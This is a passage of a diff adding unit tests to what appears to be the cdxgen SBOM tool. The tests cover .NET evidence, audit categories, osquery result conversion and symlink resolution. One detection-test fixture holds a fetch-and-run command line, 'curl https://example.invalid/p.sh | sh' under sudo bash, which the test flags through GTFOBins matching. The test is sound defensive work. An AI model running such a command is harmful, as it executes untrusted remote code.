4299
|
+
Dependencies: [
|
|
4300
|
+
{
|
|
4301
|
+
Module: "Example.dll",
|
|
4302
|
+
Path: "src/Program.cs",
|
|
4303
|
+
LineNumber: 42,
|
|
4304
|
+
},
|
|
4305
|
+
],
|
|
4306
|
+
}),
|
|
4307
|
+
);
|
|
4308
|
+
const pkgList = addEvidenceForDotnet(
|
|
4309
|
+
[
|
|
4310
|
+
{
|
|
4311
|
+
name: "Example",
|
|
4312
|
+
purl: "pkg:nuget/Example@1.0.0",
|
|
4313
|
+
properties: [{ name: "PackageFiles", value: "Example.dll" }],
|
|
4314
|
+
},
|
|
4315
|
+
],
|
|
4316
|
+
slicesFile,
|
|
4317
|
+
);
|
|
4318
|
+
assert.deepStrictEqual(pkgList[0].evidence?.occurrences, [
|
|
4319
|
+
{
|
|
4320
|
+
location: "src/Program.cs",
|
|
4321
|
+
line: 42,
|
|
4322
|
+
},
|
|
4323
|
+
]);
|
|
4324
|
+
assert.strictEqual(pkgList[0].scope, "required");
|
|
4325
|
+
} finally {
|
|
4326
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
4327
|
+
}
|
|
4328
|
+
});
|
|
4329
|
+
|
|
3927
4330
|
it("parse packages.lock.json", () => {
|
|
3928
4331
|
assert.deepStrictEqual(parseCsPkgLockData(null), {
|
|
3929
4332
|
dependenciesList: [],
|
|
@@ -10084,6 +10487,85 @@ it("hasAnyProjectType tests", () => {
|
|
|
10084
10487
|
);
|
|
10085
10488
|
});
|
|
10086
10489
|
|
|
10490
|
+
it("shouldRunPredictiveBomAudit tests", () => {
|
|
10491
|
+
assert.strictEqual(shouldRunPredictiveBomAudit({}, "cdxgen"), true);
|
|
10492
|
+
assert.strictEqual(
|
|
10493
|
+
shouldRunPredictiveBomAudit({ projectType: ["os"] }, "cdxgen"),
|
|
10494
|
+
false,
|
|
10495
|
+
);
|
|
10496
|
+
assert.strictEqual(
|
|
10497
|
+
shouldRunPredictiveBomAudit({ projectType: ["linux"] }, "cdxgen"),
|
|
10498
|
+
false,
|
|
10499
|
+
);
|
|
10500
|
+
assert.strictEqual(
|
|
10501
|
+
shouldRunPredictiveBomAudit({ projectType: ["os", "darwin"] }, "cdxgen"),
|
|
10502
|
+
false,
|
|
10503
|
+
);
|
|
10504
|
+
assert.strictEqual(
|
|
10505
|
+
shouldRunPredictiveBomAudit({ projectType: ["os", "js"] }, "cdxgen"),
|
|
10506
|
+
true,
|
|
10507
|
+
);
|
|
10508
|
+
assert.strictEqual(
|
|
10509
|
+
shouldRunPredictiveBomAudit({ projectType: "os,linux" }, "cdxgen"),
|
|
10510
|
+
false,
|
|
10511
|
+
);
|
|
10512
|
+
assert.strictEqual(
|
|
10513
|
+
shouldRunPredictiveBomAudit({ projectType: ["hbom"] }, "cdxgen"),
|
|
10514
|
+
false,
|
|
10515
|
+
);
|
|
10516
|
+
assert.strictEqual(
|
|
10517
|
+
shouldRunPredictiveBomAudit({ projectType: ["hardware"] }, "cdxgen"),
|
|
10518
|
+
false,
|
|
10519
|
+
);
|
|
10520
|
+
assert.strictEqual(
|
|
10521
|
+
shouldRunPredictiveBomAudit({ projectType: ["js"] }, "obom"),
|
|
10522
|
+
false,
|
|
10523
|
+
);
|
|
10524
|
+
assert.strictEqual(
|
|
10525
|
+
shouldRunPredictiveBomAudit({ projectType: ["js"] }, "hbom"),
|
|
10526
|
+
false,
|
|
10527
|
+
);
|
|
10528
|
+
});
|
|
10529
|
+
|
|
10530
|
+
it("getDefaultBomAuditCategories tests", () => {
|
|
10531
|
+
assert.strictEqual(getDefaultBomAuditCategories({}, "cdxgen"), undefined);
|
|
10532
|
+
assert.strictEqual(
|
|
10533
|
+
getDefaultBomAuditCategories({ projectType: ["os"] }, "cdxgen"),
|
|
10534
|
+
"obom-runtime",
|
|
10535
|
+
);
|
|
10536
|
+
assert.strictEqual(
|
|
10537
|
+
getDefaultBomAuditCategories({ projectType: ["linux"] }, "cdxgen"),
|
|
10538
|
+
"obom-runtime",
|
|
10539
|
+
);
|
|
10540
|
+
assert.strictEqual(
|
|
10541
|
+
getDefaultBomAuditCategories({ projectType: ["os", "js"] }, "cdxgen"),
|
|
10542
|
+
undefined,
|
|
10543
|
+
);
|
|
10544
|
+
assert.strictEqual(
|
|
10545
|
+
getDefaultBomAuditCategories({ projectType: ["hbom"] }, "cdxgen"),
|
|
10546
|
+
"hbom-security,hbom-performance,hbom-compliance",
|
|
10547
|
+
);
|
|
10548
|
+
assert.strictEqual(
|
|
10549
|
+
getDefaultBomAuditCategories({ projectType: ["hardware"] }, "cdxgen"),
|
|
10550
|
+
"hbom-security,hbom-performance,hbom-compliance",
|
|
10551
|
+
);
|
|
10552
|
+
assert.strictEqual(
|
|
10553
|
+
getDefaultBomAuditCategories(
|
|
10554
|
+
{ includeRuntime: true, projectType: ["hbom"] },
|
|
10555
|
+
"cdxgen",
|
|
10556
|
+
),
|
|
10557
|
+
"hbom-security,hbom-performance,hbom-compliance,host-topology",
|
|
10558
|
+
);
|
|
10559
|
+
assert.strictEqual(
|
|
10560
|
+
getDefaultBomAuditCategories({ projectType: ["js"] }, "obom"),
|
|
10561
|
+
"obom-runtime",
|
|
10562
|
+
);
|
|
10563
|
+
assert.strictEqual(
|
|
10564
|
+
getDefaultBomAuditCategories({ projectType: ["js"] }, "hbom"),
|
|
10565
|
+
"hbom-security,hbom-performance,hbom-compliance",
|
|
10566
|
+
);
|
|
10567
|
+
});
|
|
10568
|
+
|
|
10087
10569
|
it("isPackageManagerAllowed tests", () => {
|
|
10088
10570
|
assert.deepStrictEqual(
|
|
10089
10571
|
isPackageManagerAllowed("uv", ["pip", "poetry", "hatch", "pdm"], {
|
|
@@ -10646,6 +11128,152 @@ it("parses valid minified js with real package name (#2717)", async () => {
|
|
|
10646
11128
|
});
|
|
10647
11129
|
|
|
10648
11130
|
describe("convertOSQueryResults", () => {
|
|
11131
|
+
it("includes the osquery 5.23.0 query pack additions across platform profiles", () => {
|
|
11132
|
+
const linuxQueries = JSON.parse(
|
|
11133
|
+
readFileSync(
|
|
11134
|
+
new URL("../../data/queries.json", import.meta.url),
|
|
11135
|
+
"utf-8",
|
|
11136
|
+
),
|
|
11137
|
+
);
|
|
11138
|
+
const darwinQueries = JSON.parse(
|
|
11139
|
+
readFileSync(
|
|
11140
|
+
new URL("../../data/queries-darwin.json", import.meta.url),
|
|
11141
|
+
"utf-8",
|
|
11142
|
+
),
|
|
11143
|
+
);
|
|
11144
|
+
const windowsQueries = JSON.parse(
|
|
11145
|
+
readFileSync(
|
|
11146
|
+
new URL("../../data/queries-win.json", import.meta.url),
|
|
11147
|
+
"utf-8",
|
|
11148
|
+
),
|
|
11149
|
+
);
|
|
11150
|
+
|
|
11151
|
+
assert.ok(linuxQueries.npm_packages);
|
|
11152
|
+
assert.ok(linuxQueries.secureboot_certificates);
|
|
11153
|
+
assert.ok(linuxQueries.apt_ppa_sources);
|
|
11154
|
+
assert.ok(linuxQueries.sysctl_hardening);
|
|
11155
|
+
assert.ok(linuxQueries.mount_hardening);
|
|
11156
|
+
assert.ok(linuxQueries.trusted_gpg_keys);
|
|
11157
|
+
assert.ok(darwinQueries.gatekeeper);
|
|
11158
|
+
assert.ok(darwinQueries.npm_packages);
|
|
11159
|
+
assert.match(
|
|
11160
|
+
darwinQueries.package_bom.query,
|
|
11161
|
+
/WHERE path IN \(SELECT REPLACE\(package_receipts\.path, '.plist', '.bom'\) FROM package_receipts JOIN file ON file\.path = REPLACE\(package_receipts\.path, '.plist', '.bom'\) WHERE package_receipts\.path LIKE '%.plist' AND file\.size <= 52428800\)/i,
|
|
11162
|
+
);
|
|
11163
|
+
assert.match(linuxQueries.trusted_gpg_keys.query, /file\.directory/);
|
|
11164
|
+
assert.match(linuxQueries.trusted_gpg_keys.query, /hash\.sha256/);
|
|
11165
|
+
assert.ok(windowsQueries.process_open_handles_snapshot);
|
|
11166
|
+
});
|
|
11167
|
+
|
|
11168
|
+
it("should model trusted linux repository keys as cryptographic assets", () => {
|
|
11169
|
+
const components = convertOSQueryResults(
|
|
11170
|
+
"trusted_gpg_keys",
|
|
11171
|
+
{
|
|
11172
|
+
purlType: "generic",
|
|
11173
|
+
componentType: "cryptographic-asset",
|
|
11174
|
+
},
|
|
11175
|
+
[
|
|
11176
|
+
{
|
|
11177
|
+
name: "debian-archive-keyring.gpg",
|
|
11178
|
+
version: "c".repeat(64),
|
|
11179
|
+
description: "/usr/share/keyrings/debian-archive-keyring.gpg",
|
|
11180
|
+
path: "/usr/share/keyrings/debian-archive-keyring.gpg",
|
|
11181
|
+
sha1: "b".repeat(40),
|
|
11182
|
+
sha256: "c".repeat(64),
|
|
11183
|
+
trust_domain: "apt",
|
|
11184
|
+
},
|
|
11185
|
+
],
|
|
11186
|
+
false,
|
|
11187
|
+
);
|
|
11188
|
+
assert.strictEqual(components.length, 1);
|
|
11189
|
+
assert.strictEqual(components[0].type, "cryptographic-asset");
|
|
11190
|
+
assert.strictEqual(components[0].purl, undefined);
|
|
11191
|
+
assert.ok(
|
|
11192
|
+
components[0]["bom-ref"].startsWith(
|
|
11193
|
+
"crypto/related-crypto-material/public-key/",
|
|
11194
|
+
),
|
|
11195
|
+
);
|
|
11196
|
+
assert.strictEqual(
|
|
11197
|
+
components[0].cryptoProperties?.assetType,
|
|
11198
|
+
"related-crypto-material",
|
|
11199
|
+
);
|
|
11200
|
+
assert.strictEqual(
|
|
11201
|
+
components[0].cryptoProperties?.relatedCryptoMaterialProperties?.type,
|
|
11202
|
+
"public-key",
|
|
11203
|
+
);
|
|
11204
|
+
assert.ok(
|
|
11205
|
+
components[0].hashes.some(
|
|
11206
|
+
(hash) => hash.alg === "SHA-256" && hash.content === "c".repeat(64),
|
|
11207
|
+
),
|
|
11208
|
+
);
|
|
11209
|
+
});
|
|
11210
|
+
|
|
11211
|
+
it("should preserve the full certificate crypto properties shape", () => {
|
|
11212
|
+
const components = convertOSQueryResults(
|
|
11213
|
+
"certificates",
|
|
11214
|
+
{
|
|
11215
|
+
purlType: "generic",
|
|
11216
|
+
componentType: "cryptographic-asset",
|
|
11217
|
+
},
|
|
11218
|
+
[
|
|
11219
|
+
{
|
|
11220
|
+
name: "ACCVRAIZ1",
|
|
11221
|
+
path: "/etc/ssl/certs/ACCVRAIZ1.crt",
|
|
11222
|
+
serial: "5EC3B7A6437FA4E0",
|
|
11223
|
+
subject: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
|
|
11224
|
+
issuer: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
|
|
11225
|
+
not_valid_before: "2011-05-05T09:37:37.000Z",
|
|
11226
|
+
not_valid_after: "2030-12-31T09:37:37.000Z",
|
|
11227
|
+
sha1: "1".repeat(40),
|
|
11228
|
+
},
|
|
11229
|
+
],
|
|
11230
|
+
false,
|
|
11231
|
+
);
|
|
11232
|
+
assert.strictEqual(components.length, 1);
|
|
11233
|
+
assert.strictEqual(components[0].type, "cryptographic-asset");
|
|
11234
|
+
assert.strictEqual(
|
|
11235
|
+
components[0].cryptoProperties?.assetType,
|
|
11236
|
+
"certificate",
|
|
11237
|
+
);
|
|
11238
|
+
assert.deepStrictEqual(
|
|
11239
|
+
components[0].cryptoProperties?.certificateProperties,
|
|
11240
|
+
{
|
|
11241
|
+
serialNumber: "5EC3B7A6437FA4E0",
|
|
11242
|
+
subjectName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
|
|
11243
|
+
issuerName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
|
|
11244
|
+
notValidBefore: "2011-05-05T09:37:37.000Z",
|
|
11245
|
+
notValidAfter: "2030-12-31T09:37:37.000Z",
|
|
11246
|
+
certificateFormat: "X.509",
|
|
11247
|
+
certificateFileExtension: "crt",
|
|
11248
|
+
fingerprint: { alg: "SHA-1", content: "1".repeat(40) },
|
|
11249
|
+
},
|
|
11250
|
+
);
|
|
11251
|
+
});
|
|
11252
|
+
|
|
11253
|
+
it("should ignore empty occurrence locations when adding import evidence", async () => {
|
|
11254
|
+
const pkgList = [{ name: "lodash" }];
|
|
11255
|
+
const allImports = {
|
|
11256
|
+
lodash: [
|
|
11257
|
+
{
|
|
11258
|
+
fileName: " ",
|
|
11259
|
+
importedAs: "lodash",
|
|
11260
|
+
importedModules: ["map"],
|
|
11261
|
+
},
|
|
11262
|
+
],
|
|
11263
|
+
};
|
|
11264
|
+
|
|
11265
|
+
await addEvidenceForImports(pkgList, allImports, {}, false);
|
|
11266
|
+
|
|
11267
|
+
assert.strictEqual(pkgList[0].scope, "required");
|
|
11268
|
+
assert.strictEqual(pkgList[0].evidence, undefined);
|
|
11269
|
+
assert.deepStrictEqual(pkgList[0].properties, [
|
|
11270
|
+
{
|
|
11271
|
+
name: "ImportedModules",
|
|
11272
|
+
value: "lodash,lodash/map",
|
|
11273
|
+
},
|
|
11274
|
+
]);
|
|
11275
|
+
});
|
|
11276
|
+
|
|
10649
11277
|
it("should use identifier as package name for chrome-extension purl type", () => {
|
|
10650
11278
|
const components = convertOSQueryResults(
|
|
10651
11279
|
"chrome_extensions",
|
|
@@ -10674,6 +11302,32 @@ describe("convertOSQueryResults", () => {
|
|
|
10674
11302
|
assert.ok(propNames.includes("identifier"));
|
|
10675
11303
|
});
|
|
10676
11304
|
|
|
11305
|
+
it("should omit purl for osquery data components while keeping a stable bom-ref", () => {
|
|
11306
|
+
const components = convertOSQueryResults(
|
|
11307
|
+
"authorized_keys_snapshot",
|
|
11308
|
+
{
|
|
11309
|
+
purlType: "swid",
|
|
11310
|
+
componentType: "data",
|
|
11311
|
+
},
|
|
11312
|
+
[
|
|
11313
|
+
{
|
|
11314
|
+
name: "root",
|
|
11315
|
+
version: "ssh-ed25519",
|
|
11316
|
+
description: "ops@example.invalid",
|
|
11317
|
+
key_file: "/root/.ssh/authorized_keys",
|
|
11318
|
+
uid: "0",
|
|
11319
|
+
},
|
|
11320
|
+
],
|
|
11321
|
+
false,
|
|
11322
|
+
);
|
|
11323
|
+
assert.strictEqual(components.length, 1);
|
|
11324
|
+
assert.strictEqual(components[0].purl, undefined);
|
|
11325
|
+
assert.strictEqual(
|
|
11326
|
+
components[0]["bom-ref"],
|
|
11327
|
+
"osquery:authorized_keys_snapshot:data:root@ssh-ed25519[key_file=/root/.ssh/authorized_keys]",
|
|
11328
|
+
);
|
|
11329
|
+
});
|
|
11330
|
+
|
|
10677
11331
|
it("should add LOLBAS properties to suspicious windows osquery rows", () => {
|
|
10678
11332
|
const components = convertOSQueryResults(
|
|
10679
11333
|
"windows_run_keys",
|
|
@@ -10691,6 +11345,11 @@ describe("convertOSQueryResults", () => {
|
|
|
10691
11345
|
false,
|
|
10692
11346
|
);
|
|
10693
11347
|
assert.strictEqual(components.length, 1);
|
|
11348
|
+
assert.strictEqual(components[0].purl, undefined);
|
|
11349
|
+
assert.strictEqual(
|
|
11350
|
+
components[0]["bom-ref"],
|
|
11351
|
+
"osquery:windows_run_keys:data:HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater@unknown",
|
|
11352
|
+
);
|
|
10694
11353
|
const propertyMap = Object.fromEntries(
|
|
10695
11354
|
components[0].properties.map((property) => [
|
|
10696
11355
|
property.name,
|
|
@@ -10704,6 +11363,42 @@ describe("convertOSQueryResults", () => {
|
|
|
10704
11363
|
assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
|
|
10705
11364
|
});
|
|
10706
11365
|
|
|
11366
|
+
it("should add GTFOBins properties to suspicious Linux osquery rows", () => {
|
|
11367
|
+
if (platform() !== "linux") {
|
|
11368
|
+
return;
|
|
11369
|
+
}
|
|
11370
|
+
const components = convertOSQueryResults(
|
|
11371
|
+
"sudo_executions",
|
|
11372
|
+
{
|
|
11373
|
+
purlType: "swid",
|
|
11374
|
+
componentType: "application",
|
|
11375
|
+
},
|
|
11376
|
+
[
|
|
11377
|
+
{
|
|
11378
|
+
name: "bash",
|
|
11379
|
+
path: "/usr/bin/bash",
|
|
11380
|
+
cmdline: "bash -c 'curl https://example.invalid/p.sh | sh'",
|
|
11381
|
+
parent_cmdline: "sudo bash -c payload",
|
|
11382
|
+
},
|
|
11383
|
+
],
|
|
11384
|
+
false,
|
|
11385
|
+
);
|
|
11386
|
+
assert.strictEqual(components.length, 1);
|
|
11387
|
+
assert.ok(components[0].purl?.startsWith("pkg:swid/bash"));
|
|
11388
|
+
const propertyMap = Object.fromEntries(
|
|
11389
|
+
components[0].properties.map((property) => [
|
|
11390
|
+
property.name,
|
|
11391
|
+
property.value,
|
|
11392
|
+
]),
|
|
11393
|
+
);
|
|
11394
|
+
assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
|
|
11395
|
+
assert.ok(propertyMap["cdx:gtfobins:names"].includes("bash"));
|
|
11396
|
+
assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
|
|
11397
|
+
assert.ok(
|
|
11398
|
+
propertyMap["cdx:gtfobins:queryCategory"].includes("sudo_executions"),
|
|
11399
|
+
);
|
|
11400
|
+
});
|
|
11401
|
+
|
|
10707
11402
|
it("collectExecutables() prefers usr-merged executable paths", () => {
|
|
10708
11403
|
if (process.platform === "win32") {
|
|
10709
11404
|
return;
|
|
@@ -10737,4 +11432,151 @@ describe("convertOSQueryResults", () => {
|
|
|
10737
11432
|
rmSync(tempDir, { recursive: true, force: true });
|
|
10738
11433
|
}
|
|
10739
11434
|
});
|
|
11435
|
+
|
|
11436
|
+
it("collectExecutables() resolves followed symlink targets in dry-run mode", () => {
|
|
11437
|
+
if (process.platform === "win32") {
|
|
11438
|
+
return;
|
|
11439
|
+
}
|
|
11440
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
|
|
11441
|
+
setDryRunMode(true);
|
|
11442
|
+
resetRecordedActivities();
|
|
11443
|
+
try {
|
|
11444
|
+
mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
|
|
11445
|
+
writeFileSync(path.join(tempDir, "usr", "bin", "which"), "#!/bin/sh\n");
|
|
11446
|
+
chmodSync(path.join(tempDir, "usr", "bin", "which"), 0o755);
|
|
11447
|
+
symlinkSync(path.join(tempDir, "usr", "bin"), path.join(tempDir, "bin"));
|
|
11448
|
+
|
|
11449
|
+
const result = collectExecutables(tempDir, ["/bin"]);
|
|
11450
|
+
|
|
11451
|
+
assert.deepStrictEqual(result, ["usr/bin/which"]);
|
|
11452
|
+
const symlinkActivities = getRecordedActivities().filter(
|
|
11453
|
+
(activity) => activity.kind === "symlink-resolution",
|
|
11454
|
+
);
|
|
11455
|
+
for (const symlinkActivity of symlinkActivities) {
|
|
11456
|
+
assert.strictEqual(symlinkActivity.traceDetail, undefined);
|
|
11457
|
+
}
|
|
11458
|
+
} finally {
|
|
11459
|
+
setDryRunMode(false);
|
|
11460
|
+
resetRecordedActivities();
|
|
11461
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
11462
|
+
}
|
|
11463
|
+
});
|
|
11464
|
+
|
|
11465
|
+
it("collectExecutables() skips files already owned by OS packages", () => {
|
|
11466
|
+
if (process.platform === "win32") {
|
|
11467
|
+
return;
|
|
11468
|
+
}
|
|
11469
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
|
|
11470
|
+
try {
|
|
11471
|
+
mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
|
|
11472
|
+
writeFileSync(path.join(tempDir, "usr", "bin", "owned"), "#!/bin/sh\n");
|
|
11473
|
+
writeFileSync(path.join(tempDir, "usr", "bin", "unowned"), "#!/bin/sh\n");
|
|
11474
|
+
chmodSync(path.join(tempDir, "usr", "bin", "owned"), 0o755);
|
|
11475
|
+
chmodSync(path.join(tempDir, "usr", "bin", "unowned"), 0o755);
|
|
11476
|
+
|
|
11477
|
+
const result = collectExecutables(
|
|
11478
|
+
tempDir,
|
|
11479
|
+
["/usr/bin"],
|
|
11480
|
+
["/usr/bin/owned"],
|
|
11481
|
+
);
|
|
11482
|
+
|
|
11483
|
+
assert.deepStrictEqual(result, ["usr/bin/unowned"]);
|
|
11484
|
+
} finally {
|
|
11485
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
11486
|
+
}
|
|
11487
|
+
});
|
|
11488
|
+
|
|
11489
|
+
it("collectSharedLibs() preserves symlink alias entries while tracing resolutions", () => {
|
|
11490
|
+
if (process.platform === "win32") {
|
|
11491
|
+
return;
|
|
11492
|
+
}
|
|
11493
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
|
|
11494
|
+
try {
|
|
11495
|
+
mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
|
|
11496
|
+
writeFileSync(path.join(tempDir, "usr", "lib", "libfoo.so.1"), "binary");
|
|
11497
|
+
symlinkSync(
|
|
11498
|
+
path.join(tempDir, "usr", "lib", "libfoo.so.1"),
|
|
11499
|
+
path.join(tempDir, "usr", "lib", "libfoo.so"),
|
|
11500
|
+
);
|
|
11501
|
+
|
|
11502
|
+
const result = collectSharedLibs(tempDir, ["/usr/lib"]);
|
|
11503
|
+
|
|
11504
|
+
assert.deepStrictEqual(result, [
|
|
11505
|
+
"usr/lib/libfoo.so",
|
|
11506
|
+
"usr/lib/libfoo.so.1",
|
|
11507
|
+
]);
|
|
11508
|
+
} finally {
|
|
11509
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
11510
|
+
}
|
|
11511
|
+
});
|
|
11512
|
+
|
|
11513
|
+
it("collectSharedLibs() skips libraries already owned by OS packages", () => {
|
|
11514
|
+
if (process.platform === "win32") {
|
|
11515
|
+
return;
|
|
11516
|
+
}
|
|
11517
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
|
|
11518
|
+
try {
|
|
11519
|
+
mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
|
|
11520
|
+
writeFileSync(path.join(tempDir, "usr", "lib", "libowned.so.1"), "owned");
|
|
11521
|
+
writeFileSync(
|
|
11522
|
+
path.join(tempDir, "usr", "lib", "libunowned.so.1"),
|
|
11523
|
+
"unowned",
|
|
11524
|
+
);
|
|
11525
|
+
|
|
11526
|
+
const result = collectSharedLibs(
|
|
11527
|
+
tempDir,
|
|
11528
|
+
["/usr/lib"],
|
|
11529
|
+
undefined,
|
|
11530
|
+
undefined,
|
|
11531
|
+
["/usr/lib/libowned.so.1"],
|
|
11532
|
+
);
|
|
11533
|
+
|
|
11534
|
+
assert.deepStrictEqual(result, ["usr/lib/libunowned.so.1"]);
|
|
11535
|
+
} finally {
|
|
11536
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
11537
|
+
}
|
|
11538
|
+
});
|
|
11539
|
+
|
|
11540
|
+
it("recordSymlinkResolution() normalizes mixed path separators before comparing paths", () => {
|
|
11541
|
+
setDryRunMode(true);
|
|
11542
|
+
resetRecordedActivities();
|
|
11543
|
+
try {
|
|
11544
|
+
const activity = recordSymlinkResolution(
|
|
11545
|
+
"usr\\bin\\which",
|
|
11546
|
+
"usr/bin/which",
|
|
11547
|
+
);
|
|
11548
|
+
assert.strictEqual(activity, undefined);
|
|
11549
|
+
assert.deepStrictEqual(getRecordedActivities(), []);
|
|
11550
|
+
} finally {
|
|
11551
|
+
setDryRunMode(false);
|
|
11552
|
+
resetRecordedActivities();
|
|
11553
|
+
}
|
|
11554
|
+
});
|
|
11555
|
+
|
|
11556
|
+
it("recordSymlinkResolution() normalizes failed resolution paths without exposing trace detail", () => {
|
|
11557
|
+
setDryRunMode(true);
|
|
11558
|
+
resetRecordedActivities();
|
|
11559
|
+
try {
|
|
11560
|
+
recordSymlinkResolution("/tmp/root/usr/lib/libfoo.so", undefined, {
|
|
11561
|
+
basePath: "/tmp/root",
|
|
11562
|
+
errorCode: "ENOENT",
|
|
11563
|
+
metadata: {
|
|
11564
|
+
resolutionKind: "shared-library",
|
|
11565
|
+
},
|
|
11566
|
+
status: "failed",
|
|
11567
|
+
});
|
|
11568
|
+
const symlinkActivity = getRecordedActivities().find(
|
|
11569
|
+
(activity) => activity.kind === "symlink-resolution",
|
|
11570
|
+
);
|
|
11571
|
+
assert.ok(symlinkActivity);
|
|
11572
|
+
assert.strictEqual(symlinkActivity.target, "usr/lib/libfoo.so");
|
|
11573
|
+
assert.strictEqual(symlinkActivity.errorCode, "ENOENT");
|
|
11574
|
+
assert.strictEqual(symlinkActivity.traceDetail, undefined);
|
|
11575
|
+
assert.strictEqual(symlinkActivity.resolvedPath, undefined);
|
|
11576
|
+
assert.strictEqual(symlinkActivity.status, "failed");
|
|
11577
|
+
} finally {
|
|
11578
|
+
setDryRunMode(false);
|
|
11579
|
+
resetRecordedActivities();
|
|
11580
|
+
}
|
|
11581
|
+
});
|
|
10740
11582
|
});
|